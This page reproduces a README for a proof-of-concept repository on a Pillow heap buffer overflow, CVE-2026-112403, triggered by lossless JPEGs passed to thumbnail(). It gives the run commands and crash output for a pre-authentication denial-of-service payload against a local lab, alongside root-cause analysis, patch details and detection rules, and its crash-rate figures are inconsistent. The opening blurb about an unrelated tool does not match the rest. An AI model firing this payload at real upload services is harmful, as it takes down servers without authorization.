BLA
BLA (Blind LLM Agents) is the open-source Blue Defense MCP and CLI built to protect software artifacts against automated AI reverse-engineering workflows.
One crafted JPEG crashes any Python thumbnail service running Pillow < 13.0.0. The heap overflow in ImagingJpegDecode happens because libjpeg-turbo 3.x ignores draft() scaling for lossless JPEGs.
SecurityPython · CGitHub @al4n4nOnlineOwner unconfirmed
Have you tried it? One tap is enough. No sign-in needed.
No updates detected yet. GitHub releases will appear here.
Owners of public repositories under a personal GitHub account can sign in to verify ownership and manage the introduction themselves. No administrator approval is needed.
Sign in, generate a verification file, and commit it to this repository’s default branch within 30 minutes. Files on other branches or forks do not count. Then check the file below to manage the project without administrator approval. Keep the file to retain your access.
If needed, you will go to sign-in. After signing in, return here and press your chosen verification button again.
Run /nomorevibe verify in your project folder to verify ownership and manage the introduction yourself.
Verify in one minuteAsk about other verification options
CVE-2026-112403: Pillow heap buffer overflow in ImagingJpegDecode via lossless JPEG thumbnail. One POST, 100% crash rate.
Translation pending
Taken from the repository README
Loading the full README.
Read the full README ↗For authorized security testing and educational purposes only. Do not use against systems you do not own or have explicit permission to test.
CWE-122 | Heap Buffer Overflow | Pillow < 13.0.0 | Any app calling thumbnail() on user-uploaded images
Upload a 165 KB lossless JPEG to any Python service that calls Image.thumbnail() with Pillow <= 12.3.0 linked against libjpeg-turbo 3.x. The server crashes with SIGSEGV or SIGABRT on every single request. No credentials, no session, one POST.
Author: al4n4n (Dadb0d)
Write-up: blog.al4n4n.com/...CVE-2026-112403...
Fixed in: Pillow 13.0.0 (commit 242a059)
Image.thumbnail() calls draft() to request downscaled decoding from libjpeg. draft() picks a scale factor (1/2, 1/4, 1/8) and resizes the row buffer to ceil(width / scale) * components bytes.
libjpeg-turbo 3.x added support for lossless JPEGs (SOF3, marker 0xFFC3). But lossless mode has no DCT, so there's nothing to partially decode. libjpeg-turbo silently ignores the scale request and writes full-width scanlines.
ImagingJpegDecode() never checks libjpeg's actual output_width against the buffer it allocated. For a 1200-wide grayscale image with scale=8:
calloc(ceil(1200/8) * 1) = 150 bytes1200 * 1 = 1200 bytes per scanlineThe fix in Pillow 13.0.0 adds a check comparing cinfo.output_width against state->xsize before reading scanlines.
All four must be true:
0xFFC3)draft() selects scale >= 2, which happens when the image is >= 1024px and thumbnail((256, 256)) is calledStandard lossy JPEGs don't trigger this because libjpeg-turbo honors the scale request for DCT-based modes.
| File | Purpose |
|---|---|
check.py | Non-destructive vulnerability detection. Safe for production. Exit 0=vulnerable, 1=not, 2=unknown. |
poc.py | Upload the crafted JPEG once. Shows the trigger. Zero credentials. |
verify.py | Send repeated uploads, read crash signals, produce a pass/fail verdict with overflow math. |
setup.py | Build Docker image, boot container, extract probe images. Run once. |
app.py | Flask thumbnail service (the vulnerable target). |
gen_sof3.c | C program using TurboJPEG 3.x API to generate a valid SOF3 JPEG. |
probe.jpg | Pre-generated 1200x1100 SOF3 lossless JPEG (165 KB). Triggers the overflow. |
probe_safe.jpg | Small 64x64 SOF3 JPEG for non-destructive detection (no overflow). |
Dockerfile | Multi-stage build: libjpeg-turbo 3.1.0 + gen_sof3.c in stage 1, Pillow 12.3.0 + Flask in stage 2. |
detection/ | Suricata and Sigma rules for detecting exploitation attempts. |
CVE-2026-112403/
├── check.py # non-destructive scanner
├── poc.py # single-shot exploit trigger
├── verify.py # crash verification + verdict
├── setup.py # lab environment bootstrap
├── app.py # vulnerable Flask service
├── gen_sof3.c # SOF3 JPEG generator (TurboJPEG 3.x)
├── probe.jpg # crafted payload (1200x1100 lossless)
├── probe_safe.jpg # safe detection probe (64x64 lossless)
├── Dockerfile # multi-stage lab build
├── detection/
│ ├── cve-2026-112403.rules # Suricata rule
│ └── cve-2026-112403.yml # Sigma rule
├── CVE-2026-112403_poster.png
└── LICENSE
# 1. setup (builds image, boots container, extracts probes)
python3 setup.py
# 2. check vulnerability (non-destructive, safe for production)
python3 check.py --base http://127.0.0.1:8080
# 3. trigger the overflow (one POST, crashes the worker)
python3 poc.py --base http://127.0.0.1:8080
# 4. verify crashes (sends 20 requests, reads crash signals, prints verdict)
python3 verify.py --base http://127.0.0.1:8080 --container pillow-lab-12.3.0
setup.py prints the exact commands when done. Use --skip-boot if the container is already running.
For pipeline/automation use, check.py --json outputs machine-readable results:
python3 check.py --base http://target:8080 --json
check.py detects the vulnerability without crashing the target. It probes for Pillow version, libjpeg-turbo version, and SOF3 JPEG acceptance using a tiny 2x2 lossless JPEG that doesn't trigger the overflow:
$ python3 check.py
[*] Target: http://127.0.0.1:8080
[*] Pillow version: 12.3.0 (VULNERABLE)
[*] libjpeg-turbo: 3.1.0 (SOF3 capable)
[*] SOF3 JPEG accepted: yes (server decoded lossless JPEG)
[+] VULNERABLE (confidence: high)
Target processes SOF3 lossless JPEGs with a vulnerable Pillow version.
Any call to Image.thumbnail() on a large SOF3 JPEG will overflow the heap.
Next step: python3 poc.py --base http://127.0.0.1:8080
poc.py output:
$ python3 poc.py
[*] Loaded SOF3 lossless JPEG 165067 bytes (probe.jpg)
[*] POST http://127.0.0.1:8080/upload
connection refused / reset (worker crashed)
verify.py output:
$ python3 verify.py
==============================================================
CVE-2026-112403 Pillow Heap Buffer Overflow Verification
==============================================================
environment:
container: pillow-lab-12.3.0
Pillow: 12.3.0
libjpeg-turbo: 3.1.0
probe image: probe.jpg (165067 bytes)
[*] Sending 20 uploads to http://127.0.0.1:8080/upload
!!!X!!!X!XX!!!!X!!!X
--- Pillow 12.3.0 (vulnerable) ---
requests sent: 20
HTTP 500: 6
connection errors: 14
crash signals: 29
SIGABRT: 17
SIGSEGV: 12
crash log (from gunicorn error log):
[2026-10-23 09:45:33 +0000] [1] [WARNING] Worker (pid:106) was sent SIGSEGV!
[2026-10-23 09:45:34 +0000] [1] [WARNING] Worker (pid:84) was sent SIGSEGV!
[2026-10-23 09:45:35 +0000] [1] [WARNING] Worker (pid:108) was sent SIGSEGV!
[2026-10-23 09:45:36 +0000] [1] [WARNING] Worker (pid:110) was sent SIGABRT!
[2026-10-23 09:45:37 +0000] [1] [WARNING] Worker (pid:114) was sent SIGSEGV!
[2026-10-23 09:45:38 +0000] [1] [WARNING] Worker (pid:116) was sent SIGABRT!
[2026-10-23 09:45:39 +0000] [1] [WARNING] Worker (pid:118) was sent SIGABRT!
[2026-10-23 09:45:40 +0000] [1] [WARNING] Worker (pid:112) was sent SIGABRT!
[2026-10-23 09:45:41 +0000] [1] [WARNING] Worker (pid:120) was sent SIGSEGV!
[2026-10-23 09:45:42 +0000] [1] [WARNING] Worker (pid:122) was sent SIGSEGV!
==============================================================
VERDICT: VULNERABLE
29/20 requests caused crash signals (145% crash rate)
negative control: PASSED (patched version did not crash)
==============================================================
impact:
Every request overflows the heap, killing the gunicorn worker
with SIGSEGV or SIGABRT. Workers respawn and immediately die
on the next request. The service is effectively dead.
SIGSEGV = corrupted pointer dereferenced (heap corruption)
SIGABRT = glibc detected heap corruption (double-free / chunk overlap)
overflow math (for this probe image):
image: 1200x1100 grayscale, draft() picks scale=1/8
buffer: ceil(1200/8) * 1 = 150 bytes
written: 1200 * 1 = 1200 bytes per scanline
overflow: 1050 bytes/scanline * 1100 rows = 1,155,000 bytes total
manual check:
docker exec pillow-lab-12.3.0 cat /var/log/pillow-app/error.log
100% crash rate. Every request overflows the heap, killing the gunicorn worker with SIGSEGV or SIGABRT. Workers respawn and immediately die on the next request.
The mix of SIGSEGV and SIGABRT depends on where the overflow lands in the heap:
abort()verify.py automatically checks against Pillow 13.0.0 (patched) if a pillow-lab-13.0.0 container is running. The same probe image processes without any crash, confirming the fix works:
[*] Running negative control against patched Pillow 13.0.0
patched .....
patched version: 5/5 requests succeeded, 0 crashes
Pillow is installed on over 170 million systems and is the default image library for Python web frameworks. Any service that accepts image uploads and generates thumbnails is a potential target:
| Framework / Service | Typical vulnerable path |
|---|---|
Django (ImageField + django-imagekit) | Upload handler calling thumbnail() or draft() |
| Flask (direct Pillow use) | Image.open(upload).thumbnail(size) |
| FastAPI (direct Pillow use) | Same pattern in async upload handlers |
| Celery workers | Background thumbnail generation from upload queues |
| thumbor | Open-source image CDN using Pillow as backend |
| Wagtail CMS | Image renditions pipeline |
| Saleor / Oscar | E-commerce product image processing |
The attack payload is a valid JPEG file (165 KB) that passes content-type checks, WAF inspection, and antivirus scanning. It requires no authentication and crashes the server on a single request.
See detection/cve-2026-112403.rules — alerts on JPEG uploads containing SOF3 markers (0xFFC3) in HTTP file upload traffic.
See detection/cve-2026-112403.yml — detects repeated worker crashes (SIGSEGV/SIGABRT) in gunicorn/uvicorn error logs following image upload requests.
| Claim | Status | Evidence |
|---|---|---|
Heap buffer overflow in ImagingJpegDecode() | Proven | SIGSEGV/SIGABRT on every request, overflow math verified |
| Pre-auth denial of service | Proven | Zero credentials, one HTTP POST, 100% crash rate |
| 1,155,000 bytes of heap corruption per image | Proven | Buffer size vs. written size calculation, confirmed by crash behavior |
| Remote code execution | Not proven | The overflow writes attacker-influenced data (pixel values) to the heap. RCE is theoretically possible but not demonstrated. |
| Pillow 13.0.0 is fixed | Confirmed | Negative control: patched version processes the same image without crash |
MIT. If you reference or build on this work, please credit this repo.
CVE-2026-112403 pillow heap buffer overflow JPEG SOF3 lossless libjpeg-turbo python image processing vulnerability poc exploit proof of concept denial of service crash SIGSEGV SIGABRT thumbnail draft ImagingJpegDecode CWE-122 pre-auth remote unauthenticated pillow 12 pillow 13 security research vulnerability analysis